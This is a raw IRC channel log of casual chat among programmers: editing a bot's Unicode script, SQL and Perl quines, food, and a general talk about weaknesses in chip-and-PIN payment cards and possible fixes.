TETARTOS ICHOS] < 1394276403 91399 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. Yes, it does. < 1394276407 292488 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oooh < 1394276456 731498 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run sed -i -e 's/{1,4}/{1,5}/' bin/unicode # well in that case! < 1394276458 487109 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394276474 59966 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`cat bin/unicode < 1394276474 819193 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​#!/usr/bin/env python \ # -*- encoding: utf-8 -*- \ import re \ import sys \ import unicodedata \ def l(c): m = re.match('(?:U+)?([0-9a-f]{1,5})$', c, re.I); return unicodedata.lookup(c) if m is None else unichr(int(m.group(1),16)) \ try: \ print u''.join(map(l, sys.argv[1:])).encode('utf-8') \ except KeyError: \ print u'Unknown characte < 1394276526 227777 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run unidecode $(unicode 12345) < 1394276527 97644 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+12345 CUNEIFORM SIGN URU TIMES KI] < 1394276532 171926 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yay. < 1394276744 686049 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Fortunately, none of the current Unicode character names of length <= 5 (ARC, LEO, NOR, SUN, XOR, ANKH, FUSE, GEAR, JOIN, JUNO, MINY, NAND, TINY, TRUE, ANGLE, ARIES, BREVE, CARET, CARON, CERES, CLOUD, COLON, COMET, COMMA, EARTH, FROWN, HOUSE, LIBRA, NABLA, PLUTO, PRIME, RATIO, SLOPE, SMILE, SPACE, TILDE, UNION, VESTA, VIRGO, WATCH) consists of hexadecimal digits only. < 1394276797 743584 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good, good < 1394277573 296268 :Slereahphone_!~slereahph@80.10.159.192 JOIN :#esoteric < 1394277650 258822 :Slereahphone!~slereahph@90.84.145.74 QUIT :Ping timeout: 253 seconds < 1394277650 948476 :Slereahphone_!~slereahph@80.10.159.192 NICK :Slereahphone < 1394277675 430443 :Slereahphone!~slereahph@80.10.159.192 QUIT :Remote host closed the connection < 1394277718 79518 :Slereahphone!~slereahph@80.10.159.192 JOIN :#esoteric < 1394277726 50234 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run python3 --version # maybe... < 1394277726 615413 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash: python3: command not found < 1394277733 138380 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, okay, no, let's not get too greedy here. < 1394278257 479107 :nortti_!nortti@nano.smar.fi NICK :nortti < 1394280712 340235 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394280880 471649 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Disconnected by services < 1394280882 401497 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394281649 273687 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i hope y'all agree that "Seosniperdotnet" is an unacceptable username. although i _guess_ it could be ironic. < 1394281707 629855 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(on the wiki) < 1394281747 92486 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :they're just an anti-capitalist, they want to nip CEOs in the bud and also can't spell < 1394281759 14008 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :OKAY < 1394281779 728750 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :look I spent a long time trying to think of a better pun reading of it than that okay! < 1394281794 773516 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :OKAY < 1394281802 477805 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(note no space) < 1394281849 896024 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :imagining a terrible esolang based solely on okays and help-related initialisms, right now < 1394281861 30961 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I've heard of corporate “head hunting”, but this is a bit too much. < 1394281866 197368 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yay twh < 1394281901 461789 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :elliott: maybe it's a Sgeo sniper. who knows who may have angered. < 1394281907 277487 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*who he < 1394282006 814571 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :a Sgeo sniper with broken d and . keys < 1394282147 833756 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :where is there a broken d key? < 1394282186 377880 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you've been awake all night, right? < 1394282230 249178 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION brings out the gotobedinator < 1394282252 929377 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :gotobedinatordotnet < 1394282259 255311 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh. g key. < 1394282265 453112 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :d is basically an upside down g, okay? < 1394282272 553786 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :O KAY < 1394282277 905358 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(note space) < 1394282281 378496 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you're not wrong though. I have been up all night. < 1394282292 777334 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*MWAHAHAHA* < 1394283252 343213 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394284278 287468 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :elliott, did you get lucky? < 1394284381 229218 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that's private!! < 1394284497 117356 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Meanwhile, I don't know where I will be living after july and that scares me < 1394284509 989644 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :elliott: Did you at least have some "good fun"? < 1394284516 853477 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :As opposed to bad fun, I guess. < 1394284566 370975 :ion!ion@heh.fi PRIVMSG #esoteric :I bet elliott likes bad fun. < 1394284585 559562 :ion!ion@heh.fi PRIVMSG #esoteric :bun < 1394285752 48099 :nooodl!~nooodl@91.176.177.103 PRIVMSG #esoteric :ion are you saying guns are good fun < 1394286212 313008 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Et cetera et cetera et cetera < 1394286544 776450 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394288772 656475 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Read error: Connection reset by peer < 1394288885 231122 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394289788 165973 :sudani!~sudani@82.146.47.40 JOIN :#esoteric < 1394290344 600901 :AnotherTest!~turingcom@94-224-19-125.access.telenet.be JOIN :#esoteric < 1394292065 890808 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394294064 40093 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1394295511 147253 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394296045 548995 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394296077 103024 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394296347 305665 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1394296681 271223 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 240 seconds < 1394298297 186424 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394298500 367754 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394299215 49891 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 244 seconds < 1394299451 727482 :sudani!~sudani@82.146.47.40 QUIT :Remote host closed the connection < 1394299651 379921 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :oerjan: danke < 1394299925 138899 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394301119 367576 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Should I eat what I usually eat or should I try something new, that I haven't tried in years? < 1394301515 145092 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric : So I saw that Wolfram Language thing and one of the things he's claiming to be revolutionary is the ability to easily mix images and code < 1394301515 367486 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric : apparently Wolfram also has an irrational hatred for Lisp, not surprised < 1394301531 272182 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :hi Sgeo < 1394301538 605741 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :hi < 1394301553 327917 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :if it's not obvious to others, you can do that in Racket < 1394301555 427873 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :which is a lisp < 1394301597 443249 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :How would that even work? < 1394301620 651031 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :Melvar: you can copy and paste images into DrRacket and manipulate them as normal data, they get serialized in a string form in the source file < 1394301632 641000 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :… < 1394301657 1063 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :they're meant to be opened with DrRacket < 1394301672 601656 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :technically "GRacket" I guess < 1394301822 348850 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Do they get transcoded to some specific format, or do you need to have the editor and libraries know every image format? < 1394302169 655951 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I've been tempted to buy French Toast Crunch from Canada, real French Toast is probably better < 1394302306 295598 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :Sgeo: yes probably, and with real maple syrup to put on it < 1394302321 783905 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Maple syrup goes on french toast? < 1394302324 342149 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394302333 937098 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :I've been told that yes < 1394302337 168360 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is this something the bagel place would... do? Would they give me maple syrup when I order french toast? < 1394302341 686305 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How does this work? < 1394302353 213294 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(The bagel place sells french toast. I don't know why) < 1394302446 781929 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :Sgeo: I don't know what bagel place you're referring to < 1394302462 511505 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.stuffabagel.com/ < 1394302485 216097 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :can't hurt to ask I guess < 1394302498 169 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't really need maple syrup < 1394302503 747431 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :If they give it to me that's fine < 1394302512 890529 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394302514 580155 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394302532 533289 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Does French Toast have dairy? < 1394302654 213970 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :if you put butter on it yes < 1394302660 805292 :nisstyre!~yourstrul@oftn/member/Nisstyre PRIVMSG #esoteric :or cook it with butter < 1394302668 672212 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Can't hurt to take another Lactaid < 1394302677 271653 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I already had a buttered bagel today < 1394302688 738541 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I only recently learned that butter is dairy < 1394302835 621620 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :... < 1394303124 681167 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.fark.com/comments/8171751/Manhunt-closed-streets-campus-lockdown-canceled-classes-all-due-to-what-police-call-a-high-end-game-of-telephone < 1394304425 702398 :nisstyre_!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394304452 598797 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :sqlite3 quine (I'd like to the mailing list archives but it seems it's readable only for members) => http://dpaste.com/1703632/ < 1394304454 38250 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 244 seconds < 1394304498 513485 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :go subscribe the list and write a better one than the ones already posted < 1394304502 838589 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :possibly a shorter non-empty one < 1394304519 864399 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :but I'd like to see interesting not necessarily short ones as well < 1394304761 686443 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the corresponding perl quine is: print+("print+(","\"",",","\\",")[g1012131121212133121414=~/./g]")[g1012131121212133121414=~/./g] < 1394305372 749390 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394305479 96775 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394306918 179798 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :https://mail.python.org/pipermail/python-ideas/2014-March/026446.html this is just silly... < 1394306929 209389 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : sqlite3 quine [...] <-- that looks rather longer than zzo38's SQL quine he recently pasted < 1394306941 542749 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*which he < 1394306978 396888 :AnotherTest!~turingcom@94-224-19-125.access.telenet.be QUIT :Ping timeout: 240 seconds < 1394306978 619512 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : Here is a quine in SQL: with q(q) as (select 'with q(q) as (select ''#'') select replace(q,x''23'',replace('''''''','''''''''''')) from q;') select replace(q,x'23',replace(q,'''','''''')) from q; < 1394307050 156317 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't know either SQL or sqlite3 so i don't know if that would be legal in the other < 1394307138 864437 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that perl quine reminds me of the Glass quine i wrote, although the numbers mean something completely different. < 1394307291 895080 :vravn!~vravn@syn.rook.sx QUIT :Ping timeout: 255 seconds < 1394307552 404190 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :They gave me 'Breakfast syrup', and butter packets < 1394307560 744829 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Barely used the butter packets, used one breakfast syrup < 1394307563 556174 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :here's another sqlite quine: http://dpaste.com/1703768/ < 1394307572 841199 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :oerjan: yes < 1394307612 178345 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :but again, the point of this quine with the numbers is that the same general idea can be implemented in almost any non-esoteric programming language < 1394307614 318644 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think the first dpasted sqlite quine isn't intended to be the best SQL quine, but just one made using a generic method to make quines < 1394307639 487665 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :how many numbers you need differs wildly, but it's still possible < 1394307648 934718 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Sgeo: exactly < 1394307844 733538 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :here's another perl one: print+("\\","\"",",","print+(",")[3,1,0,0,1,2,1,0,1,1,2,1,2,1,2,1,3,1,2,1,4,1,4]")[3,1,0,0,1,2,1,0,1,1,2,1,2,1,2,1,3,1,2,1,4,1,4] < 1394307932 160255 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :wow, I didn't even remember this crazy unpack quine: http://www.perlmonks.com/?node_id=835076 < 1394307987 213333 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the thread for that has nice perl quines by other authors < 1394308213 33627 :TodPunk!~Tod@c-71-199-36-196.hsd1.ut.comcast.net QUIT :Quit: This is me, signing off. Probably rebooting or something. < 1394308681 262364 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 240 seconds < 1394308793 395929 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1394309095 951023 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :oerjan: That SQL quine I wrote is for SQLite. < 1394309170 175837 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If you have SQLite then you can even try it by yourself. < 1394309193 381261 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok < 1394309419 924832 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394309500 94799 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :b_jonas: That SQL quine is good too < 1394309513 925206 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: which one? < 1394309544 240141 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The one you posted at http://dpaste.com/1703768/ < 1394309572 570832 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :thanks < 1394311170 78073 :AnotherTest!~turingcom@94-224-19-125.access.telenet.be JOIN :#esoteric < 1394311312 125106 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :There seems to be a thing called Agorism. It is unrelated to Agora < 1394311390 531483 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Is it related to the original meaning of the word "agora"? < 1394311552 858599 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes, "Agorists consider their message to be scientific because science is an appeal to reason, which they believe is only possible in the Agora or free market." < 1394311683 927259 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which reminds me that i'm fairly sure (wait, shouldn't i be saying "vaguely recall" somewhere?) i saw a yudkowsky post about the distinction between professing rationalism and actually being rational. < 1394311724 25065 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"I wonder, if someone generated a list with all possible credit card PIN codes, would people panic too?" < 1394311752 315454 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bloody neighbors making maybe-party noises again. < 1394311784 687442 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: Are they still limited to four digits or are longer passwords possible? < 1394311788 953077 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> replicateM 4 ['0'..'9'] < 1394311789 359700 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable replicateM < 1394311790 189966 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : ["0000","0001","0002","0003","0004","0005","0006","0007","0008","0009","0010... < 1394311800 63793 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION ogles at idris-ircslave  < 1394311802 731632 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Still limited to 4 digits. It was someone commenting on http://directory.io < 1394311812 751051 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Which lists all Bitcoin addresses and their private keys < 1394311844 122201 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wat < 1394311888 511504 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah a library of babel prank < 1394311998 385910 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> [0..] >>= (`replicateM` "01") < 1394311998 774639 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:12: error: expected: ")", < 1394311998 976400 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : expression, name, operator < 1394311999 163684 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :[0..] >>= (`replicateM` "01") < 1394311999 163848 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ^ < 1394311999 634837 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : ["","0","1","00","01","10","11","000","001","010","011","100","101","110","1... < 1394312027 964781 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394312056 10 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I guess I should try to get our own idris bot up at some point < 1394312105 862909 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :or one of the bots has to learn channel-specific prefixes. *coughs* < 1394312140 843877 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run "it's not that hard if we just remember..." < 1394312142 155237 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "it's not that hard if we just remember..." < 1394312191 990117 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :idris-ircslave: > 1 < 1394312213 766812 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so how do we "solve" the other half of the "problem"? < 1394312218 198589 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :has anyone used idris-ircslave except to see it break lambdabot < 1394312333 287702 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: Did they actually create the database or calculate it when the file is requested? If it is an actual database I expect it would require way too much disk space more than you have, and if they could even do that, why is it indexed by private key? < 1394312367 228183 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Calculated on request. < 1394312416 439613 :legible!~legible@193.106.31.7 JOIN :#esoteric < 1394312419 189397 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: Yes, it is what I thought, otherwise it would not only be very difficult but they wouldn't index it by private key. < 1394312593 740573 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think there exist some EMV cards that have six-digit PINs. < 1394312670 844892 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Anecdotal evidence from the Internet: "Swiss banks issue debit cards with 6 digit PIN. In Italy 5 digit PIN are common." < 1394312747 581489 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Equally anecdotally, there are some PIN entry terminals that have problems with >4 digits.) < 1394312800 750645 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there is something bloody fishy about my laptop's brightness control < 1394312839 486681 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :as in, it's been gradually requiring me to slide it more and more down not to be too bright, and now it's all the way down < 1394312937 550566 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm thinking i should turn it all the way up and wait until it resets itself to normal while still there. but i don't know how long i'll have to wait. < 1394312957 779001 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :oerjan: That's very odd < 1394312974 137089 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Could be broken firmware or such < 1394313037 826621 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I think you should allow the password to be 4 digits at minimum and perhaps 16 digits at maximum. < 1394313058 962940 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Ping timeout: 264 seconds < 1394313066 431623 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: your laptop is becoming a star. this is perfectly expected behaviour < 1394313078 711600 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :okay < 1394313116 92479 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Even regardless of the length of the password, the current "chip and PIN" system just isn't really that much more secure than the old system. < 1394313174 331851 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The merchant can still steal passwords, or display an incorrect price, and then if someone physically steals the card they can use it. < 1394313250 516194 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have once designed a better system, but I just wrote it on a paper. It involves the keypad having a port on it that the customer can connect their own keypad to instead of swiping a credit card (swiping a card is still provided, but isn't needed). < 1394313253 902513 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Card skimmers will still exist < 1394313313 132974 :legible!~legible@193.106.31.7 QUIT :Remote host closed the connection < 1394313467 803902 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, although my system would make it more secure for people who have opted the high security option and have programmed their own keypads rather than using the merchant's keypads. < 1394313498 153837 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How do you avoid skimming at the separate port? < 1394313600 448783 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :With crypto, presumably. < 1394313639 241502 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You just have the merchant's terminal send out transaction details, which your self-programmed keypad device then shows for you for verification, and then signs. < 1394313661 740485 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :or you could just make the cards do crypto. < 1394313693 155542 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :By using a secure protocol. You could still charge someone and give them no product (which is much more easily caught, though), but the transaction and amount goes through the port, so you cannot be charge a wrong amount and the password (which doesn't even have to be a normal password) cannot be caught. < 1394313705 219108 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :fizzie: Yes, mainly like that. < 1394313839 696715 :AnotherTest!~turingcom@94-224-19-125.access.telenet.be QUIT :Ping timeout: 240 seconds < 1394313942 250759 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The EMV cards do crypto, at least, so you shouldn't be able to "skim" cards so that you can clone one. (But you obviously can catch the PIN. And there are some assorted vulnerabilities; like you used to be able to make a terminal that reads the magnetic stripe data during the chip transaction, so you catch both the PIN and a stripe-only copy, and then just do the stripe fallback thing.) < 1394314027 50995 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(And there was some skip-PIN-entry thing, too.) < 1394314215 938371 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And if the terminal steals the password and then you can physically steal the card and use that, and then you could still alter the price to display the wrong amount. < 1394314256 391274 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. < 1394314316 820706 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :My credit card got misused once, but as far as I know it was really just old-fashioned stuff; using it in webshops where just knowing the number is enough. < 1394314401 338563 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That is why, that is no good. It should be made, the customer can opt for a high-security option at the time the card is issued (and then they will have a private key which they can program into their own devices). < 1394314422 43412 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It works for internet too; the same transaction is possible over internet just as easily. < 1394314616 468471 :showexpress!~showexpre@193.106.31.213 JOIN :#esoteric < 1394314663 360626 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :However, for internet there is a better way I can think of: You would use SSH to connect to your account and then issue a SPLIT command in order to make the payment. It can forward to the recipient similar to how SMTP does it. < 1394315160 578766 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ugh, it feels like I've been doing nothing but eating all day < 1394315190 100642 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Which is certainly better than not eating all day, at least < 1394315447 903302 :glogbackup!~glogbacku@192.3.160.190 JOIN :#esoteric < 1394316761 541302 :Slereahphone!~slereahph@80.10.159.192 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394317615 870315 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394318426 113166 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1394318491 869369 :v^!~NotPing@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 